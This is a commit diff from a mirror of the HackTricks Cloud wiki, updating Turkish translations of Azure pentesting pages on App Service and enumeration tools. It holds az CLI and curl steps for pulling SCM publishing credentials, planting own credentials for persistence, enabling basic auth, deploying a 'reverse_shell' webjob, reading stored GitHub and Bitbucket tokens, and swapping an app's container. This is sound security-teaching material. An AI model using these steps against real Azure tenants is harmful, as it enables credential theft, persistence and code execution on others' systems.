mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -5,32 +5,30 @@
|
||||
## Linux'te PowerShell Kurulumu
|
||||
|
||||
> [!TIP]
|
||||
> Linux'te PowerShell Core'u kurmanız gerekecek:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
> sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
>
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # Repo'ları güncelle
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # PowerShell'i kur ve başlat
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
> # Az cli
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
> Linux'ta PowerShell Core'u kurmanız gerekecek:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
|
||||
# Ubuntu 20.04
|
||||
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
|
||||
# Update repos
|
||||
sudo apt-get update
|
||||
sudo add-apt-repository universe
|
||||
|
||||
# Install & start powershell
|
||||
sudo apt-get install -y powershell
|
||||
pwsh
|
||||
|
||||
# Az cli
|
||||
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
```
|
||||
## MacOS'ta PowerShell Kurulumu
|
||||
|
||||
[**belgeler**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) üzerinden talimatlar:
|
||||
[**belgeler**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)den talimatlar:
|
||||
|
||||
1. Eğer henüz kurulu değilse `brew`'ü kurun:
|
||||
1. Henüz kurulmadıysa `brew`'ü kurun:
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
@@ -53,9 +51,9 @@ brew upgrade powershell
|
||||
|
||||
[**Azure Komut Satırı Arayüzü (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli), Azure ve Entra ID kaynaklarını yönetmek ve idare etmek için Python ile yazılmış çok platformlu bir araçtır. Azure'a bağlanır ve komut satırı veya betikler aracılığıyla idari komutlar yürütür.
|
||||
|
||||
[**kurulum talimatları için bu bağlantıyı**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) takip edin.
|
||||
[**Kurulum talimatları için bu bağlantıyı**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) takip edin.
|
||||
|
||||
Azure CLI'deki komutlar şu yapıda düzenlenmiştir: `az <hizmet> <hareket> <parametreler>`
|
||||
Azure CLI'deki komutlar, şu yapıyı kullanarak düzenlenmiştir: `az <hizmet> <hareket> <parametreler>`
|
||||
|
||||
#### Hata Ayıklama | MitM az cli
|
||||
|
||||
@@ -63,7 +61,7 @@ Azure CLI'deki komutlar şu yapıda düzenlenmiştir: `az <hizmet> <hareket> <pa
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm istekleri kontrol etmek** için şunları yapabilirsiniz:
|
||||
Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm istekleri** kontrol etmek için şunları yapabilirsiniz:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
@@ -109,7 +107,7 @@ Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm iste
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell, tek bir uç nokta kullanarak SharePoint, Exchange ve Outlook gibi hizmetler de dahil olmak üzere tüm Microsoft Graph API'lerine erişim sağlayan çok platformlu bir SDK'dır. PowerShell 7+ desteği, MSAL aracılığıyla modern kimlik doğrulama, dış kimlikler ve gelişmiş sorgular sunar. En az ayrıcalık erişimine odaklanarak, güvenli işlemleri garanti eder ve en son Microsoft Graph API özellikleriyle uyumlu hale gelmek için düzenli güncellemeler alır.
|
||||
Microsoft Graph PowerShell, tek bir uç nokta kullanarak SharePoint, Exchange ve Outlook gibi hizmetler de dahil olmak üzere tüm Microsoft Graph API'lerine erişim sağlayan çok platformlu bir SDK'dır. PowerShell 7+ desteği, MSAL aracılığıyla modern kimlik doğrulama, dış kimlikler ve gelişmiş sorgular sunar. En az ayrıcalık erişimine odaklanarak güvenli işlemleri garanti eder ve en son Microsoft Graph API özellikleriyle uyumlu hale gelmek için düzenli güncellemeler alır.
|
||||
|
||||
[**kurulum talimatları**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) için bu bağlantıyı takip edin.
|
||||
|
||||
@@ -117,7 +115,7 @@ Microsoft Graph PowerShell'deki komutlar şu şekilde yapılandırılmıştır:
|
||||
|
||||
#### Microsoft Graph PowerShell'ı Hata Ayıklama
|
||||
|
||||
**`-Debug`** parametresini kullanarak, aracın gönderdiği tüm istekleri görmek mümkündür:
|
||||
**`-Debug`** parametresini kullanarak aracın gönderdiği tüm istekleri görmek mümkündür:
|
||||
```bash
|
||||
Get-MgUser -Debug
|
||||
```
|
||||
|
||||
@@ -10,16 +10,16 @@ Azure App hizmetleri hakkında daha fazla bilgi için kontrol edin:
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
Bu izinler, bir web uygulaması içinde **SSH shell** almak için aşağıdaki komutları çağırmaya olanak tanır
|
||||
Bu izinler, bir web uygulaması içinde **SSH shell** almayı sağlar. Ayrıca uygulamayı **debug** etmeye de olanak tanır.
|
||||
|
||||
- Direct option:
|
||||
- **Tek komutla SSH**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
- Tünel oluşturun ve ardından SSH'ye bağlanın:
|
||||
- **Tünel oluşturun ve ardından SSH'ye bağlanın**:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **Uygulamayı Hata Ayıklama**:
|
||||
1. VScode'da Azure uzantısını yükleyin.
|
||||
2. Uzantıya Azure hesabınızla giriş yapın.
|
||||
3. Abonelik içindeki tüm Uygulama hizmetlerini listeleyin.
|
||||
4. Hata ayıklamak istediğiniz Uygulama hizmetini seçin, sağ tıklayın ve "Hata Ayıklamayı Başlat"ı seçin.
|
||||
5. Eğer uygulamada hata ayıklama etkin değilse, uzantı bunu etkinleştirmeye çalışacaktır ancak hesabınızın bunu yapabilmesi için `Microsoft.Web/sites/config/write` iznine ihtiyacı vardır.
|
||||
|
||||
### SCM Kimlik Bilgilerini Alma ve Temel Kimlik Doğrulamayı Etkinleştirme
|
||||
|
||||
SCM kimlik bilgilerini almak için aşağıdaki **komutları ve izinleri** kullanabilirsiniz:
|
||||
|
||||
- **`Microsoft.Web/sites/publishxml/action`** izni çağrılmasına izin verir:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
Kullanıcı adının **her zaman aynı olduğunu** (FTP'de uygulamanın adının başta eklendiği hariç) ve **şifrenin hepsi için aynı olduğunu** not edin.
|
||||
|
||||
Ayrıca, **SCM URL'si `<app-name>.scm.azurewebsites.net`**'dir.
|
||||
|
||||
- İzin **`Microsoft.Web/sites/config/list/action`** çağrısına izin verir:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
Not edin ki **kimlik bilgileri önceki komutla aynıdır**.
|
||||
|
||||
- Başka bir seçenek, **kendi kimlik bilgilerinizi ayarlamak** ve bunları kullanmaktır:
|
||||
```bash
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
```
|
||||
Sonra, bu kimlik bilgilerini **SCM ve FTP platformlarına erişmek için** kullanabilirsiniz. Bu, sürekliliği sağlamak için de harika bir yoldur.
|
||||
|
||||
SCM platformuna **web üzerinden erişmek için `<SCM-URL>/BasicAuth`** adresine erişmeniz gerektiğini unutmayın.
|
||||
|
||||
> [!WARNING]
|
||||
> Her kullanıcının önceki komutu çağırarak kendi kimlik bilgilerini yapılandırabileceğini unutmayın, ancak kullanıcı SCM veya FTP'ye erişmek için yeterli izne sahip değilse, kimlik bilgileri çalışmayacaktır.
|
||||
|
||||
- Bu kimlik bilgilerini **REDACTED** olarak görüyorsanız, bunun nedeni **SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız var.
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
### SCM kimlik bilgilerini kullanarak kod yayınlama
|
||||
|
||||
Geçerli SCM kimlik bilgilerine sahip olmak, **kod yayınlamak** için mümkündür. Bu, aşağıdaki komut kullanılarak yapılabilir.
|
||||
|
||||
Bu python örneği için https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart adresinden repoyu indirebilir, istediğiniz **değişiklikleri** yapabilir ve ardından **şu komutu çalıştırarak zipleyebilirsiniz: `zip -r app.zip .`**.
|
||||
|
||||
Ardından, **kodunuzu yayınlamak** için aşağıdaki komutu kullanabilirsiniz:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | SCM kimlik bilgileri
|
||||
|
||||
Bahsedilen Azure izni, SCM kimlik bilgileri ile de gerçekleştirilebilecek birkaç ilginç eylemi gerçekleştirmeye olanak tanır:
|
||||
|
||||
- **Webjobs** günlüklerini oku:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
```
|
||||
- **Webjobs** kaynak kodunu okuyun:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
- **Sürekli Webjob** oluşturun:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Bu izin, veritabanı kimlik bilgileri gibi hassas bilgileri içerebilecek App hizmetinin **bağlantı dizelerini** ve **uygulama ayarlarını** listelemeye olanak tanır.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Bu izinler, App hizmetine **yönetilen bir kimlik atamaya** olanak tanır, bu nedenle bir App hizmeti daha önce tehlikeye atıldıysa, bu saldırgana App hizmetine yeni yönetilen kimlikler atama ve **yetki yükseltme** imkanı verir.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Oku
|
||||
|
||||
Aşağıdaki komutu çalıştırarak **üçüncü taraf kimlik bilgilerini** mevcut hesapta okumak mümkündür. Örneğin, bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, farklı bir kullanıcıdan token'a erişemeyeceğinizi unutmayın.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Bu komut, Github, Bitbucket, Dropbox ve OneDrive için token'lar döndürür.
|
||||
|
||||
İşte token'ları kontrol etmek için bazı komut örnekleri:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Uygulama Kodunu Kaynaktan Güncelle
|
||||
|
||||
- Yapılandırılmış kaynak bir üçüncü taraf sağlayıcı (Github, BitBucket veya Azure Repository gibi) ise, depodaki kaynak kodunu ele geçirerek **uygulamanın kodunu güncelleyebilirsiniz**.
|
||||
- Uygulama **uzaktan bir git deposu** (kullanıcı adı ve şifre ile) kullanacak şekilde yapılandırılmışsa, değişiklikleri klonlamak ve itmek için **URL ve temel kimlik bilgilerini** almak mümkündür:
|
||||
- İzin kullanarak **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- İzin kullanarak **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Uygulama **yerel bir git deposu** kullanacak şekilde yapılandırılmışsa, **depolamayı klonlamak** ve **değişiklikleri itmek** mümkündür:
|
||||
- İzin kullanarak **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>` ile git deposunun URL'sini alabilirsiniz, ancak bu, uygulamanın SCM URL'si ile aynı olacak ve `/<app-name>.git` yolunu içerecektir (örneğin, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- SCM kimlik bilgilerini almak için aşağıdaki izne ihtiyacınız var:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Ardından `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` komutunu çalıştırın.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Ardından `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>` komutunu çalıştırın.
|
||||
|
||||
> [!WARNING]
|
||||
> `Microsoft.Web/sites/config/list/action` iznine ve SCM kimlik bilgilerine sahip olmanın, daha önceki bir bölümde belirtildiği gibi, bir web uygulamasına dağıtım yapmanın her zaman mümkün olduğunu unutmayın (üçüncü taraf bir sağlayıcı kullanacak şekilde yapılandırılmış olsa bile).
|
||||
|
||||
> [!WARNING]
|
||||
> Aşağıdaki izinlere sahip olmanın, web uygulaması farklı bir şekilde yapılandırılmış olsa bile **rastgele bir konteyneri çalıştırmanın** de mümkün olduğunu unutmayın.
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
Bu, bir web uygulaması tarafından kullanılan **konteyneri değiştirmeye** olanak tanıyan izinler setidir. Bir saldırgan bunu kötü niyetli bir konteyner çalıştırmak için kötüye kullanabilir.
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,43 +6,71 @@
|
||||
|
||||
Azure App Services, geliştiricilerin **web uygulamaları, mobil uygulama arka uçları ve API'leri sorunsuz bir şekilde oluşturmasını, dağıtmasını ve ölçeklendirmesini** sağlar. Birden fazla programlama dilini destekler ve geliştirilmiş işlevsellik ve yönetim için çeşitli Azure araçları ve hizmetleri ile entegre olur.
|
||||
|
||||
Her uygulama bir kumanda alanında çalışır, ancak izolasyon App Service planlarına bağlıdır.
|
||||
Her uygulama bir sandbox içinde çalışır, ancak izolasyon App Service planlarına bağlıdır.
|
||||
|
||||
- Ücretsiz ve Paylaşılan katmanlardaki uygulamalar paylaşılan VM'lerde çalışır.
|
||||
- Standart ve Premium katmanlardaki uygulamalar özel VM'lerde çalışır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu izolasyonların **hiçbiri** diğer yaygın **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar) **önlemez**. Ve eğer bir **yönetim kimliği** kullanılıyorsa, bu kimlik **yetkileri onlara yükseltebilir**.
|
||||
> Bu izolasyonların **hiçbiri** diğer yaygın **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar) **önlemez**. Ve bir **yönetim kimliği** kullanılıyorsa, bu kimlik **yetkileri artırma** yeteneğine sahip olabilir.
|
||||
|
||||
### Azure Function Apps
|
||||
Uygulamaların bazı ilginç yapılandırmaları vardır:
|
||||
|
||||
Temelde **Azure Function uygulamaları, Azure App Service'in bir alt kümesidir** ve web konsoluna gidip tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da burada listelendiğini göreceksiniz**.
|
||||
|
||||
Aslında, App hizmetlerinin kullandığı bazı **güvenlik ile ilgili özellikler** (`webapp` az cli'de), **Function uygulamaları tarafından da kullanılmaktadır**.
|
||||
- **Her Zaman Açık**: Uygulamanın her zaman çalışmasını sağlar. Eğer etkinleştirilmezse, uygulama 20 dakikalık bir etkinlik yokluğundan sonra duracak ve bir istek alındığında tekrar başlayacaktır.
|
||||
- Uygulama durursa, sürekli çalışması gereken bir webjob'unuz varsa bu önemlidir.
|
||||
- **SSH**: Etkinleştirildiğinde, yeterli izinlere sahip bir kullanıcı uygulamaya SSH ile bağlanabilir.
|
||||
- **Hata Ayıklama**: Etkinleştirildiğinde, yeterli izinlere sahip bir kullanıcı uygulamayı hata ayıklayabilir. Ancak, bu her 48 saatte bir otomatik olarak devre dışı bırakılır.
|
||||
- **Web Uygulaması + Veritabanı**: Web konsolu, bir veritabanı ile bir Uygulama oluşturmayı sağlar. Bu durumda kullanılacak veritabanını (SQLAzure, PostgreSQL, MySQL, MongoDB) seçmek mümkündür ve ayrıca bir Azure Cache for Redis oluşturmanıza da olanak tanır.
|
||||
- Veritabanı ve Redis için kimlik bilgilerini içeren URL, **appsettings** içinde saklanacaktır.
|
||||
- **Konteyner**: Konteynerin URL'sini ve ona erişim için kimlik bilgilerini belirterek App Service'e bir konteyner dağıtmak mümkündür.
|
||||
|
||||
## Temel Kimlik Doğrulama
|
||||
|
||||
Bir web uygulaması (ve genellikle bir Azure fonksiyonu) oluştururken, Temel Kimlik Doğrulama'nın etkinleştirilip etkinleştirilmeyeceğini belirtmek mümkündür. Bu, esasen **SCM ve FTP'yi** uygulama için etkinleştirir, böylece bu teknolojileri kullanarak uygulamayı dağıtmak mümkün olacaktır.\
|
||||
Ayrıca, onlara bağlanmak için Azure, **SCM ve FTP sunucularına bağlanmak için kullanıcı adı, şifre ve URL'yi almayı sağlayan bir API** sunar.
|
||||
Bir web uygulaması (ve genellikle bir Azure işlevi) oluştururken, Temel Kimlik Doğrulama'nın etkinleştirilip etkinleştirilmeyeceğini belirtmek mümkündür. Bu, esasen uygulama için **SCM ve FTP'yi etkinleştirir**, böylece bu teknolojileri kullanarak uygulamayı dağıtmak mümkün olacaktır.\
|
||||
Ayrıca, onlara bağlanmak için Azure, **kullanıcı adı, şifre ve URL'yi** almak için bir **API sağlar**.
|
||||
|
||||
- Kimlik Doğrulama: az webapp auth show --name lol --resource-group lol_group
|
||||
SCM'ye bir web tarayıcısı kullanarak `https://<SMC-URL>/BasicAuth` adresinden bağlanabilir ve oradaki tüm dosyaları ve dağıtımları kontrol edebilirsiniz.
|
||||
|
||||
SSH
|
||||
### Kudu
|
||||
|
||||
Her Zaman Açık
|
||||
Kudu, **Azure App Service ve Function Apps için bir dağıtım motoru ve yönetim platformu** olup, web uygulamaları için Git tabanlı dağıtımlar, uzaktan hata ayıklama ve dosya yönetimi yetenekleri sunar. Web uygulamasının SCM URL'si aracılığıyla erişilebilir.
|
||||
|
||||
Hata Ayıklama
|
||||
Kudu'nun App Services ve Function Apps tarafından kullanılan sürümlerinin farklı olduğunu, Function apps sürümünün çok daha sınırlı olduğunu unutmayın.
|
||||
|
||||
### Sayım
|
||||
Kudu'da bulabileceğiniz bazı ilginç uç noktalar:
|
||||
- `/DebugConsole`: Kudu'nun çalıştığı ortamda komutları çalıştırmanıza olanak tanıyan bir konsol.
|
||||
- Bu ortamın **token almak için** metadata hizmetine erişimi **yoktur**.
|
||||
- `/webssh/host`: Uygulamanın çalıştığı konteynere bağlanmanıza olanak tanıyan web tabanlı bir SSH istemcisi.
|
||||
- Bu ortam, atanan yönetilen kimliklerden token almak için **metadata hizmetine erişime sahiptir**.
|
||||
- `/Env`: Sistem, uygulama ayarları, çevre değişkenleri, bağlantı dizeleri ve HTTP başlıkları hakkında bilgi alır.
|
||||
- `/wwwroot/`: Web uygulamasının kök dizini. Buradan tüm dosyaları indirebilirsiniz.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
## Kaynaklar
|
||||
|
||||
App Services, varsayılan olarak kodu bir zip dosyası olarak yüklemeye izin verir, ancak ayrıca bir üçüncü taraf hizmetine bağlanarak kodu oradan almayı da sağlar.
|
||||
|
||||
- Şu anda desteklenen üçüncü taraf kaynaklar **Github** ve **Bitbucket**'tır.
|
||||
- Kimlik doğrulama tokenlerini almak için `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` komutunu çalıştırabilirsiniz.
|
||||
- Azure varsayılan olarak, kod güncellendiğinde her seferinde kodu App Service'e dağıtmak için bir **Github Action** ayarlayacaktır.
|
||||
- Ayrıca, oradan kod almak için bir **uzaktan git deposu** (kullanıcı adı ve şifre ile) belirtmek de mümkündür.
|
||||
- Uzaktan depo kimlik bilgilerini almak için `az webapp deployment source show --name <app-name> --resource-group <res-group>` veya `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` komutunu çalıştırabilirsiniz.
|
||||
- Ayrıca bir **Azure Repository** kullanmak da mümkündür.
|
||||
- Bir **yerel git deposu** yapılandırmak da mümkündür.
|
||||
